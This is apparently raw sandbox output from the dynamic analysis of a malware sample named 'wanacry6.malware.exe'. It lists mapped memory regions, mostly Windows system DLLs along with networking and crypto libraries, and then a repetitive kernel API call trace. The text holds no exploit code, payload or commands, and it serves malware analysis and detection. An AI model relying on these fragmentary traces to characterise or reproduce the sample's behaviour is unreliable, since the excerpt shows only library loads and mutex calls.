"\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 9419 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 9420 start_va = 0x4c3390000 end_va = 0x4c3396fff entry_point = 0x0 region_type = private name = "private_0x00000004c3390000" filename = "" Region: id = 9421 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 9422 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 9423 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 9424 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 9425 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9426 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 9427 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 9428 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 9429 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 9430 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 9431 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9432 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9433 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 9434 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 9435 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 9436 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 9437 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 9438 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 9439 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 9440 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 9441 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 9442 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 9443 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 9444 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 9445 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 9446 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 9447 start_va = 0x4c3ca0000 end_va = 0x4c3e8ffff entry_point = 0x0 region_type = private name = "private_0x00000004c3ca0000" filename = "" Region: id = 9448 start_va = 0x4c3860000 end_va = 0x4c3866fff entry_point = 0x0 region_type = private name = "private_0x00000004c3860000" filename = "" Region: id = 9449 start_va = 0x4c3ca0000 end_va = 0x4c3e27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3ca0000" filename = "" Region: id = 9450 start_va = 0x4c3e30000 end_va = 0x4c3e63fff entry_point = 0x4c3e31030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9451 start_va = 0x4c3e80000 end_va = 0x4c3e8ffff entry_point = 0x0 region_type = private name = "private_0x00000004c3e80000" filename = "" Region: id = 9452 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9453 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 9454 start_va = 0x4c3e90000 end_va = 0x4c4010fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3e90000" filename = "" Region: id = 9455 start_va = 0x4c4020000 end_va = 0x4c541ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c4020000" filename = "" Region: id = 9456 start_va = 0x4c3870000 end_va = 0x4c3870fff entry_point = 0x0 region_type = private name = "private_0x00000004c3870000" filename = "" Region: id = 9457 start_va = 0x4c3880000 end_va = 0x4c3880fff entry_point = 0x0 region_type = private name = "private_0x00000004c3880000" filename = "" Region: id = 9458 start_va = 0x4c3890000 end_va = 0x4c3890fff entry_point = 0x4c3890000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 9459 start_va = 0x4c3e30000 end_va = 0x4c3e31fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3e30000" filename = "" Region: id = 9460 start_va = 0x4c3e40000 end_va = 0x4c3e7ffff entry_point = 0x0 region_type = private name = "private_0x00000004c3e40000" filename = "" Region: id = 9461 start_va = 0x4c5420000 end_va = 0x4c54d9fff entry_point = 0x4c544c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9462 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 9463 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 9464 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 9466 start_va = 0x4c3890000 end_va = 0x4c3890fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3890000" filename = "" Region: id = 9467 start_va = 0x4c5420000 end_va = 0x4c550ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c5420000" filename = "" Region: id = 9468 start_va = 0x4c3890000 end_va = 0x4c3893fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3890000" filename = "" Region: id = 9469 start_va = 0x4c3e40000 end_va = 0x4c3e46fff entry_point = 0x0 region_type = private name = "private_0x00000004c3e40000" filename = "" Region: id = 9470 start_va = 0x4c3e70000 end_va = 0x4c3e7ffff entry_point = 0x0 region_type = private name = "private_0x00000004c3e70000" filename = "" Region: id = 9471 start_va = 0x4c5510000 end_va = 0x4c560ffff entry_point = 0x0 region_type = private name = "private_0x00000004c5510000" filename = "" Region: id = 9472 start_va = 0x4c5610000 end_va = 0x4c5710fff entry_point = 0x4c563fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 9473 start_va = 0x4c3e50000 end_va = 0x4c3e50fff entry_point = 0x0 region_type = private name = "private_0x00000004c3e50000" filename = "" Region: id = 9474 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 9475 start_va = 0x4c5610000 end_va = 0x4c58e4fff entry_point = 0x4c5610000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9476 start_va = 0x4c3e60000 end_va = 0x4c3e62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3e60000" filename = "" Region: id = 9477 start_va = 0x4c3e60000 end_va = 0x4c3e60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c3e60000" filename = "" Region: id = 9478 start_va = 0x4c58f0000 end_va = 0x4c58f0fff entry_point = 0x0 region_type = private name = "private_0x00000004c58f0000" filename = "" Region: id = 9479 start_va = 0x4c5900000 end_va = 0x4c5df1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c5900000" filename = "" Region: id = 9480 start_va = 0x4c5e00000 end_va = 0x4c6c6ffff entry_point = 0x4c5e00000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 9481 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9482 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9483 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9484 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9485 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9486 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9487 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9488 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9489 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9490 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9491 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9492 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9493 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9494 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9495 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9496 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9497 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9498 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9499 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9500 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9501 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9502 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9503 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9504 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9505 start_va = 0x4c6c70000 end_va = 0x4c6e87fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c6c70000" filename = "" Region: id = 9506 start_va = 0x4c6e90000 end_va = 0x4c6e90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c6e90000" filename = "" Region: id = 9525 start_va = 0x4c6e90000 end_va = 0x4c9d25fff entry_point = 0x4c6e90000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 9526 start_va = 0x4c9d30000 end_va = 0x4c9d32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c9d30000" filename = "" Region: id = 9527 start_va = 0x4c9d40000 end_va = 0x4c9d40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c9d40000" filename = "" Region: id = 9528 start_va = 0x4c9d50000 end_va = 0x4ca149fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004c9d50000" filename = "" Region: id = 9529 start_va = 0x4ca150000 end_va = 0x4ca193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000004ca150000" filename = "" Region: id = 9530 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9531 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9532 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 9533 start_va = 0x4ca1a0000 end_va = 0x4ca2a1fff entry_point = 0x0 region_type = private name = "private_0x00000004ca1a0000" filename = "" Thread: id = 851 os_tid = 0xa44 [0137.502] EngAllocMem () returned 0xfffff9014251f030 [0137.502] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.502] MmMapViewOfSection (in: SectionObject=0xffffc00001fd2120, Process=0xffffe0000120d7c0, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211f1ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0x4c6c70000, SectionOffset=0xffffd000211f1ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0137.502] EngCreateBitmap () returned 0x41050627 [0137.502] EngAssociateSurface () returned 0x1 [0137.502] EngLockSurface () returned 0xfffff901408d5cb8 [0137.502] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000015a44a0 [0137.502] KeInitializeEvent (in: Event=0xffffe000015a44b8, Type=0x1, State=0 | out: Event=0xffffe000015a44b8) [0137.503] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.513] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.513] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0137.542] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.544] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.544] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.545] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.545] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.545] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.545] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.545] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.558] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.558] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.558] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.558] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.558] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.559] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.559] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.560] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.560] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.564] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.564] IoGetCurrentProcess () returned 0xffffe0000120d7c0 [0137.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 